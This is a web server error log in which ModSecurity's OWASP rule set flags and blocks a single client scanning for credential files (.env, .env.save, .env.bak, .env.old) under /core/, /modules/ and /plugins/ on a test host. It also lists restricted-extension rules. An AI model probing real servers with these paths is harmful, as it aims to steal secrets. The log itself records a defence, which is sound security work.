[Thu Oct 30 20:08:28.959324 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aQO3rEIRheG_olLGGo-l4AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:28.959618 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aQO3rEIRheG_olLGGo-l4AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:28.959826 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aQO3rEIRheG_olLGGo-l4AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:29.580268 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aQO3rUIRheG_olLGGo-l4QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:29.580544 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aQO3rUIRheG_olLGGo-l4QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:29.580752 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aQO3rUIRheG_olLGGo-l4QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:30.149743 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aQO3rkIRheG_olLGGo-l4gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:30.149969 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aQO3rkIRheG_olLGGo-l4gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:30.150228 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aQO3rkIRheG_olLGGo-l4gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:30.150508 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.bak&quot;] [unique_id &quot;aQO3rkIRheG_olLGGo-l4gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:30.801892 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aQO3rkIRheG_olLGGo-l4wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:30.802103 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aQO3rkIRheG_olLGGo-l4wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:30.802382 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aQO3rkIRheG_olLGGo-l4wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:30.802583 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.old&quot;] [unique_id &quot;aQO3rkIRheG_olLGGo-l4wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:31.362741 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aQO3r0IRheG_olLGGo-l5AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:31.363009 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aQO3r0IRheG_olLGGo-l5AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:31.363208 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env&quot;] [unique_id &quot;aQO3r0IRheG_olLGGo-l5AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:31.927124 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aQO3r0IRheG_olLGGo-l5QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:31.927391 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aQO3r0IRheG_olLGGo-l5QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:31.927585 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.save&quot;] [unique_id &quot;aQO3r0IRheG_olLGGo-l5QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:32.516521 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aQO3sEIRheG_olLGGo-l5gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:32.516719 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aQO3sEIRheG_olLGGo-l5gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:32.516973 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aQO3sEIRheG_olLGGo-l5gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:32.517184 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.bak&quot;] [unique_id &quot;aQO3sEIRheG_olLGGo-l5gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:33.055389 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aQO3sUIRheG_olLGGo-l5wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:33.055577 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modules/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aQO3sUIRheG_olLGGo-l5wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:33.055815 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aQO3sUIRheG_olLGGo-l5wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:33.056003 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.env.old&quot;] [unique_id &quot;aQO3sUIRheG_olLGGo-l5wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:33.560038 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aQO3sUIRheG_olLGGo-l6AAAAAI&quot;], referer: https://www.google.com/
